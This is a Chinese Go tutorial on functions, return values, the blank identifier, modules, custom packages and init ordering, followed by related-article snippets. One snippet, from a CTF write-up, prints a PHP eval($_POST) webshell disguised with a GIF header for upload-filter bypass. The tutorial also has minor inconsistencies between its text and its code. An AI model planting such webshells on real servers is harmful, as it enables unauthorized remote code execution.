Go语言函数和包介绍

news2024/11/26 0:57:33

函数

什么是函数?

函数是执行特定任务的代码块。函数接受输入,对输入执行一些计算,然后生成输出。

通常每一个程序都包含有很多的函数,系统通过函数来划分不同功能,将整体任务进行分解。

在 Go 语言中,函数的基本组成包括:关键字 func、函数名、参数列表、返回值、函数体和返回语句。

Go 语言标准库提供了多种可动用的内置的函数。例如,len() 函数可以接受不同类型参数并返回该类型的长度。如果我们传入的是字符串则返回字符串的长度,如果传入的是数组,则返回数组中包含的元素个数。

函数声明

在 go 中声明函数的语法是

func functionname(parametername type) returntype {  
 //function body
}

函数定义解析:

  • func:函数由 func 开始声明。
  • functionname:函数名称,函数名和参数列表一起构成了函数签名。
  • functionname type:参数列表,参数就像一个占位符,当函数被调用时,你可以将值传递给参数,这个值被称为实际参数。参数列表指定的是参数类型、顺序、及参数个数。参数是可选的,也就是说函数也可以不包含参数。
  • returntype:返回类型,函数返回一列值。有些功能不需要返回值,这种情况下 returntype不是必须的。
  • 函数体:函数定义的代码集合。
示例函数

让我们编写一个函数,该函数将单个产品的价格和产品数量作为输入参数,并通过将这两个值相乘来计算总价格并返回输出。

func calculateBill(price int, no int) int {  
    var totalPrice = price * no
    return totalPrice
}

上面的函数有两个 int 类型的输入参数priceno它返回的totalPrice是价格和编号的乘积。返回值也是int类型。

如果连续的参数类型相同,就可以避免每次都写类型,最后写一次就可以了。即 price int, no int可以写为price, no int. 因此,上述函数可以重写为:

func calculateBill(price, no int) int {  
    var totalPrice = price * no
    return totalPrice
}

现在我们已经准备好了一个函数,让我们从代码中的某个地方调用它。调用函数的语法是functionname(parameters)。可以使用代码调用上述函数。

calculateBill(10, 5)  

这是使用上述函数并打印总价的完整程序。

package main

import (  
    "fmt"
)

func calculateBill(price, no int) int {  
    var totalPrice = price * no
    return totalPrice
}

func main() {  
    price, no := 90, 6
    totalPrice := calculateBill(price, no)
    fmt.Println("Total price is", totalPrice)
}

Run in playground

上面的程序会打印

Total price is 540  
多个返回值

一个函数可以返回多个值。让我们编写一个函数rectProps,它接受矩形的 lengthwidth并返回

长方形的面积->长和宽的乘积

周长->长和宽之和的两倍

package main

import (  
    "fmt"
)

func rectProps(length, width float64)(float64, float64) {  
    var area = length * width
    var perimeter = (length + width) * 2
    return area, perimeter
}

func main() {  
     area, perimeter := rectProps(10.8, 5.6)
    fmt.Printf("Area %f Perimeter %f", area, perimeter) 
}

Run in playground

如果函数返回多个返回值,则必须在(lengthwidth 它们之间指定)func rectProps(length, width float64)(float64, float64)有两个 float64 参数length and width并且还返回两个float64值。上面的程序打印出

Area 60.480000 Perimeter 32.800000  
命名返回值

可以从函数返回命名值。如果已命名返回值,则可以将其视为在函数的第一行中声明为变量。

上面的 rectProps 可以使用命名的返回值重写为

func rectProps(length, width float64)(area, perimeter float64) {  
    area = length * width
    perimeter = (length + width) * 2
    //无显式返回值
    return 
}

面积周长是上述函数中的命名返回值。请注意,函数中的 return 语句不会显式返回任何值。由于 和 在函数声明中指定为返回值,因此在遇到 return 语句时会自动从函数返回它们。areaperimeter

空白标识符

**_**在 Go 中称为空白标识符。它可以代替任何类型的任何值。让我们看看这个空白标识符有什么用。

该函数返回矩形的面积和周长。如果我们只需要 面积并想丢弃周长.这就是用处。area _

参考下面的程序

package main

import (  
    "fmt"
)

func rectProps(length, width float64) (float64, float64) {  
    var area = length * width
    var perimeter = (length + width) * 2
    return area, perimeter
}
func main() {  
    area, _ := rectProps(10.8, 5.6) // perimeter is discarded
    fmt.Printf("Area %f ", area)
}

Run in playground

Area 60.480000 

什么是包,为什么使用它们?

到目前为止,我们已经看到 Go 程序只有一个包含一个 main函数和几个其他函数的文件。在现实场景中,这种将所有源代码写入单个文件的方法是不可扩展的。重用和维护以这种方式编写的代码变得不可能。这就是包的用处。

包用于组织 Go 源代码,以提高可重用性和可读性。包是驻留在同一目录中的 Go 源文件的集合。包提供了代码划分,因此维护 Go 项目变得很容易。

演示图例

在这里插入图片描述

Go 模块

Go 模块只不过是 Go 包的集合。现在你可能会想到这个问题。为什么我们需要 Go 模块来创建自定义包?答案是我们创建的自定义包的导入路径派生自 go 模块的名称。除此之外,我们的应用程序使用的所有其他第三方软件包(例如来自 github 的源代码)将与版本一起出现在文件中。此文件是在我们创建新模块时创建的。您将在下一节中更好地理解这一点。

cd learnpackage 目录下
//执行
go mod init learnpackage  

上面的命令将创建一个名为go.mod的文件,以下是文件的内容。

module learnpackage

go 1.21.0

我们创建simpleinterest文件夹,在创建一个simpleinterest.go文件

package simpleinterest

//计算并返回本金p的单利,利率r的时间跨度为t年
func Calculate(p float64, r float64, t float64) float64 {  
    interest := p * (r / 100) * t
    return interest
}

在上面的代码中,我们创建了一个计算并返回简单利息的函数Calculate。此功能是计算并返回单利。

请注意,函数名称 Compute 以大写字母开头。这是必不可少的

导入自定义包

要使用自定义包,我们必须先导入它。导入路径是附加在包的子目录和包名称上的模块名称。在我们的例子中,模块名称是learnpackage,包在直接位于下面的文件夹中的simpleinterest
目前项目目录:
在这里插入图片描述

导入simpleinterest
在这里插入图片描述

上面的代码导入包并使用函数查找单利。标准库中的包不需要模块名称前缀,因此“fmt”在没有模块前缀的情况下工作。当应用程序运行时,输出将是`

Simple interest calculation  
Simple interest is 500  
初始化函数

Go 中的每个包都可以包含一个函数。该函数不得具有任何返回类型,并且不得具有任何参数。init 函数不能在我们的源代码中显式调用。初始化包时将自动调用它。初始化函数具有以下语法init``init

func init() {  
}

该函数可用于执行初始化任务,也可用于在执行开始之前验证程序的正确性。init

包的初始化顺序如下

  1. 首先初始化包级变量
  2. 接下来调用初始化函数。包可以有多个 init 函数(在单个文件中或分布在多个文件中),并且按照它们呈现给编译器的顺序调用它们。

如果包导入其他包,则首先初始化导入的包。

即使从多个包导入包,也只会初始化一次包。

让我们对应用程序进行一些修改以了解函数。init

首先,让我们将函数添加到文件中。init``simpleinterest.go

package simpleinterest

import "fmt"

/*
 * 新增Init功能
 */
func init() {
	fmt.Println("初始化  simpleinterest")
}

// 计算并返回本金p的单利,利率r的时间跨度为t年interest r for time duration t years
func Calculate(p float64, r float64, t float64) float64 {
	interest := p * (r / 100) * t
	return interest
}

我们添加了一个简单的初始化函数

现在让我们修改主包。我们知道,在计算单利时,本金、利率和持续时间应大于零。我们将在文件中使用 init 函数和包级变量来定义此检查。main.go

将 修改为以下内容,main.go

package main

import (
	"fmt"
	"learnpackage/simpleinterest"
)

func init() {
	fmt.Println("初始化  main")
}

var p, r, t = 5000.0, 10.0, 1.0

func main() {
	fmt.Println("简单利息计算")
	si := simpleinterest.Calculate(p, r, t)
	fmt.Println("单利是", si)
}


以下是对main.go

  1. PRT 变量从主函数级别移动到包级别。
  2. 添加了初始化函数。init 函数使用 log 打印日志并在本金、利率或持续时间小于零时终止程序执行**。致命**功能。

初始化的顺序如下:

  1. 首先初始化导入的包。因此,首先初始化 simpleinterest 包,并调用它的 init 方法。
  2. 接下来初始化包级变量 prt
  3. 初始化函数在 main 中调用。
  4. 最后调用主函数。

如果运行该程序,将获得以下输出。

初始化  simpleinterest
初始化  main
简单利息计算
单利是 500  
使用空白标识符

在 Go 中导入包而不在代码中的任何位置使用它都是非法的。如果您这样做,编译器将报错。这样做的原因是为了避免未使用的包膨胀,这将显着增加编译时间。将 main.go中的代码替换为以下内容,

package main

import (  
        "learnpackage/simpleinterest"
)

func main() {

}

上述程序将出错

# learnpackage
./main.go:4:2: imported and not used: "learnpackage/simpleinterest"

但是,在应用程序处于积极开发状态时导入包并在以后(如果不是现在)在代码中的某个位置使用它们是很常见的。在这些情况下,空白标识符可以拯救我们。_

package main

import (  
    _ "learnpackage/simpleinterest"
)

func main() {

}

运行上述程序将输出 。我们已经成功初始化了包,即使它没有在代码中的任何位置使用。

在这里插入图片描述
上一教程 Go语言常量介绍

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1090394.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Idea使用技巧——导包优化,新版idea界面取消,界面字体放大缩小

导包优化 on the fly 翻译为立刻 第一个表示,如果导入的包没有冲突,会自动帮你导入。如果输入List 无需手动altenter 第二个表示,没有引用的包,会自动删除。这个对于代码整洁尤其适用。相当于ctrlalto的功能 新版idea的界面取消 …

Uniapp 入门

创建项目 参考:uni-app创建新页面和页面的配置_uniapp多页面配置-CSDN博客 添加页面 添加路由 显示效果 网址:http://localhost:8080/#/pages/task/taskDetails 参考:uni-app官网 在 HBuilder X 使用命令行引入 uni-ui npm i dcloudio/un…

微软和OpenAI正在开发AI芯片, 并计划下个月发布

今年初,Chat**引起了无数网友关注,一度成为了热门话题。这是由人工智能研究实验室OpenAI开发的一款聊天机器人模型,也称为一种人工智能(AI)技术驱动的自然语言处理工具。能够通过学习和理解人类的语言来进行对话&#…

中国移动 OneNET 免费的物联网平台

中国移动 OneNET 物联网平台提供免费的设备连接通信服务。 01 中移 OneNET 物联网平台 中国移动 OneNET 定位为 PaaS 服务,即在物联网应用和真实设备之间搭建高效、稳定、安全的应用平台:面向设备,适配多种网络环境和常见传输协议&#xff0c…

Element UI库 之 el-input 赋值后不能删除,修改,输入

最近做了一个需求就是导入数据的, 导入了之后发现打折跟促销价都发不能修改了, 甚至删除都不行。后面去查了下发现大概是数据响应的问题。大概的解决办法有下面几个,我是用最后一个解决的 方法一:强制更新 在绑定input里面的调用…

buuctf week2-web-Upload again!

尝试传修改后缀的普通一句话木马&#xff0c;被检测 尝试传配置文件 .htaccess 和 .user.ini 两个都传成功了 接下来继续传入经过修改的木马 GIF89a <script language"php"> eval($_POST[cmd]); </script> 没有被检测&#xff0c;成功绕过 直接上蚁剑…

git cherry-pick 合并某次提交

一、无冲突的情况 1、合并其它分支某次提交 切换到主分支&#xff0c;想把其他分支的某次commit修改 合并到主分支上&#xff0c; 可以用 git cherry-pick 命令 比如&#xff0c;其它分支&#xff0c;某次提交的commit Hash 是30e48158badc39801f1ce3cb375a07b872d6f220 &a…

手机投屏之WFD简介

一、概述 1.1 简介 Miracast是由Wi-Fi联盟于2012年所制定&#xff0c;以Wi-Fi直连&#xff08;Wi-Fi Direct&#xff09;为基础的无线显示标准。支持此标准的消费性电子产品&#xff08;又称3C设备&#xff09;可透过无线方式分享视频画面&#xff0c;例如手机可透过Miracast将…

Semaphore使用以及原理

Semaphore使用以及原理 介绍原理使用场景使用方法Demo 介绍 Semaphore&#xff08;信号量&#xff09;是一种用于控制并发访问资源的机制。它可以用于多线程或多进程环境中&#xff0c;用于保护共享资源的访问&#xff0c;避免竞争条件和死锁。 原理 Semaphore维护一个计数器…

c#画五角星

c#画一个五角星,最重要的就是计算哪些坐标点出来,也是最难的一部分,这要涉及到一些数学方面的知识.对数学坐标知识不是很熟的人,如果想学画图,我建议多去看一下数学书,对我们写程序的人来说是没有什么坏处可言的. 想学习的朋友可以一起学习,我觉得分享学习是一种快乐,所以把自…

mysql主从工作原理、搭建

目录 一、mysql为什么要用主从架构&#xff1f; 二、mysql数据库主从复制原理是什么&#xff1f; 详细的主从复制过程如下图&#xff1a; 主从复制过程概述&#xff1a; 三、mysql主从如何搭建&#xff1f; 本次安装的数据库版本为mysql5.7 1、准备两台服务器&#xff08…

C++ 设计模式 —— 组合模式

C 设计模式 —— 组合模式 0. 引用连接 本文主要的思路和代码&#xff0c;来自于对以下连接的学习和实现&#xff1a; 组合模式 1. 引言 1.1 什么是组合模式&#xff1f; 组合模式的定义组合模式的作用 组合模式是一种行为型设计模式&#xff0c;它将对象组合成树形结构以…

解决react使用css module无法重写bootstrap样式的问题

react使用css module虽然能够解决样式污染&#xff0c;但是同时也失去了写css样式的灵活性&#xff0c;特别是&#xff1a;在.module.css文件中当子元素是非变量的静态class类&#xff08;比如bootstrap&#xff09;, 此时使用css选择器对该子元素的样式不会起作用的 比如下面…

【干货】VS2017简介、编译、启动单项目和启动多项目

1. VS2017简单介绍 解决方案和项目的区别&#xff1a; 一般一个解决方案会有多个项目&#xff0c;一个项目里面一般只有一个main文件&#xff0c;所以需要右键单击某个项目将其设置成启动项目&#xff0c;才可以启动该项目。 2. 编译github的代码仓 一般都会有CMakeLists.t…

《C++ Primer》练习9.43-练习9.46:替换字符串简写和插入前后缀

文章目录 练习9.43练习9.44练习9.45练习9.46总结参考 练习9.43 练习9.43要替换字符串s中所有oldVal为newVal&#xff0c;要求使用迭代器和insert以及erase函数。 #include <iostream> #include <string> #include <vector> using namespace std;string &a…

ubuntu下yolov5 tensorrt模型部署

文章目录 ubuntu下yolov5 tensorrt模型部署一、Ubuntu18.04环境配置1.1 安装工具链和opencv1.2 安装Nvidia相关库1.2.1 安装Nvidia显卡驱动1.2.2 安装 cuda11.31.2.3 安装 cudnn8.21.2.4 下载 tensorrt8.4.2.41.2.5 下载仓库TensorRT-Alpha并设置 二、从yolov5源码中导出onnx文…

【IDEA项目个别类爆红,但是项目可以正常运行】

打开项目时发现idea个别类爆红,但是项目可以正常运行 问题原因&#xff1a;Idea本身的问题&#xff0c;可能是其缓存问题&#xff0c;导致爆红 解决方案&#xff1a;重置Idea 很多时候排查不出代码问题&#xff0c;就尝试一下此操作。 选择目录&#xff1a;File–>Invalida…

前后端分离项目-基于springboot+vue的高校学科竞赛平台的设计与实现(内含代码+文档+报告)

博主介绍&#xff1a;✌全网粉丝10W,前互联网大厂软件研发、集结硕博英豪成立工作室。专注于计算机相关专业毕业设计项目实战6年之久&#xff0c;选择我们就是选择放心、选择安心毕业✌ &#x1f345;由于篇幅限制&#xff0c;想要获取完整文章或者源码&#xff0c;或者代做&am…

node.js+NPM包管理器+Webpack打包工具+前端项目搭建

javascript运行环境&#xff08;无需依赖html文件&#xff09; BFF&#xff0c;服务于前端的后端 官网下载安装&#xff0c;node -v查看是否安装成功 ①、创建一个01.js文件 //引入http模块 const httprequire(http)//创建服务器 http.createServer(function(request,respo…

微服务+Java+Spring Cloud +UniApp +MySql智慧工地综合管理云平台源码,SaaS模式

智慧工地围绕工程现场人、机、料、法、环及施工过程中质量、安全、进度、成本等各项数据满足工地多角色、多视角的有效监管,实现工程建设管理的降本增效. 智慧工地综合管理云平台源码&#xff0c;PC监管端、项目端&#xff1b;APP监管端、项目端、数据可视化大屏端源码&#xf…